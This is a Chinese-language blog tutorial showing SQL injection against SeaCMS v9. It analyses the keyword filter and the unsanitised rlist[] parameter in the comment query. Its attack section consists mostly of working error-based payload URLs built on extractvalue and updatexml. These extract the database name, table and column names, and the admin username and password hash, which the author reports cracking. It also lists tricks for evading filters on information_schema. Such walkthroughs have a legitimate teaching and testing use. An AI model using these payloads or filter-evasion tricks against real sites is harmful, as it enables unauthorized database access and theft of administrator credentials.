seacms v9 实现的MySQL注入

目录

[过滤关键词information_schema 怎么办](#过滤关键词information_schema 怎么办)

一、环境搭建

二、环境分析

三、源代码分析

1、过滤程序

2、注入点

四、获取数据库名

五、获取数据库表名

六、获取表的列名

七、获取数据信息


过滤关键词information_schema 怎么办

1.、利用sys数据库(MySQL 5.7+) sys库是MySQL官方提供的系统监控数据库,可能未被过滤。

例:查询表名和列名

SELECT table_name FROM sys.schema_table_statistics; SELECT column_name FROM sys.schema_columns WHERE table_name='users';

2、 利用mysql系统库 mysql库存储用户权限信息,部分表可能包含元数据。

例:通过innodb_table_stats和innodb_index_stats获取表名

SELECT table_name FROM mysql.innodb_table_stats;

3.、编码混淆

十六进制编码:information_schema → 0x696E666F726D6174696F6E5F736368656D61

SELECT * FROM 0x696E666F726D6174696F6E5F736368656D61.tables;

Unicode编码:i → CHAR(105)

4、 字符串拼接 使用CONCAT()或SUBSTR()绕过简单过滤

SELECT * FROM CONCAT('inform', 'ation_schema').tables;

5、. 注释符干扰 插入注释分隔符:/**/或/*!*/

SELECT * FROM infor/*!mation_schema*/.tables;

一、环境搭建

二、环境分析

在海洋cms V9 中,用户输入(如登录、评论、分页、ID 等)未经过适当的验证和清理,直接嵌入到 SQL 查询中,导致了 SQL 注入攻击的发生。

三、源代码分析

1、过滤程序

整个模式由三部分组成:前面是一个否定字符组`\^0-9a-z@\\._-{1,}`,中间是关键字组`(union|sleep|...)`,后面又是同样的否定字符组。这个结构可能是在匹配那些被非允许字符包围的关键字,比如`union`前后有特殊符号的情况。

\^0-9a-z@\\._-{1,} # 第一部分:匹配非允许字符的连续序列

(union|sleep|benchmark|load_file|outfile) # 第二部分:匹配危险SQL关键词

\^0-9a-z@\\.-{1,} # 第三部分:再次匹配非允许字符的连续序列

2、注入点

参数rlist\[\]被用作数组传递,可能在后端代码中被直接拼接到SQL查询中,没有进行充分的过滤或参数化处理,导致注入发生。

php 复制代码
$sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND id in ($ids) ORDER BY id DESC";

四、获取数据库名

php 复制代码
?gid=1&page=2&rlist[]=@`%27`,extractvalue(1,concat_ws(0x20,%200x5c,(select%20database()))),@`%27`

gid=1:ID(数值型)。

page=2:分页参数。

extractvalue():MySQL XML处理函数,用于触发错误。

concat_ws():用分隔符连接字符串,0x20是空格,0x5c是反斜杠\。

select database():获取当前数据库用户。

攻击者访问构造的URL,服务器处理rlist\[\]参数。 后端代码将rlist\[\]值拼接到IN子句: 执行时因非法XPath语法报错,错误信息包含数据库用户

五、获取数据库表名

当sea_comment表中无数据时不会回显报错

添加数据后成功回显

php 复制代码
?gid=1&page=2&type=1&rlist[]=@`%27`,%20extractvalue(1,concat_ws(0x7e,0x7e,(select%23%0atable_name%20from%23%0ainformation_schema.tables%20where%20table_schema%20=0x736561636d73%20limit%200,1))),%20@`%27`

六、获取表的列名

php 复制代码
?gid=1&page=2&type=1&rlist[]=@`%27`,%20extractvalue(1,concat_ws(0x7e,0x7e,(select%23%0acolumn_name%20from%23%0ainformation_schema.columns%20where%20table_schema%20=0x736561636d73%20and%20table_name=0x7365615f61646d696e%20limit%201,1))),%20@`%27`
php 复制代码
?gid=1&page=2&type=1&rlist[]=@`%27`,%20extractvalue(1,concat_ws(0x7e,0x7e,(select%23%0acolumn_name%20from%23%0ainformation_schema.columns%20where%20table_schema%20=0x736561636d73%20and%20table_name=0x7365615f61646d696e%20limit%202,1))),%20@`%27`

七、获取数据信息

php 复制代码
?gid=1&page=2&type=1&rlist[]=@`%27`,updatexml%20(1,concat_ws(0x7e,0x7e,(select%20name%20from%23%0asea_admin%20limit%200,1)),1),%20@`%27`
php 复制代码
?gid=1&page=2&type=1&rlist[]=@`%27`,updatexml%20(1,concat_ws(0x7e,0x7e,(select%20password%20from%23%0asea_admin%20limit%200,1)),1),%20@`%27`

由于password进行的md5加密,将注入结果(f297a57a5a743894a0e4)进行解密后得到admin

相关推荐
小白勇闯网安圈4 小时前
Django 响应对象、文件上传与类视图
数据库·django·sqlite
努力的小雨5 小时前
同一份 SQL 跑多套环境:Ksql 变量怎么用才安全
数据库
科技绘图5 小时前
快鲸GEO vs 传统AI搜索优化:全链路自动化与高效内容生产在转化闭环上的对比
数据库·人工智能·自动化
ltl5 小时前
数据库作为 LLM 记忆体:语义缓存、RAG 与一致性
数据库
ltl5 小时前
WAL 与崩溃恢复:ARIES 协议怎么跑通
数据库
ltl6 小时前
TEE 数据库:EnclaveDB、Oblivious 原语与机密 SQL
数据库
ze^07 小时前
【软考信息安全】第2章 网络攻击原理与常用方法
网络·web安全·网络安全
麻瓜code7 小时前
【Mysql】重新学一遍 SQL 执行顺序
数据库·sql
这个DBA有点耶7 小时前
数据库一体机架构演进:从硬件堆叠到软硬深度耦合
服务器·网络·数据库·硬件架构·运维开发·database·数据库架构
安_8 小时前
RAG的向量数据库:为LLM提供语义搜索能力
数据库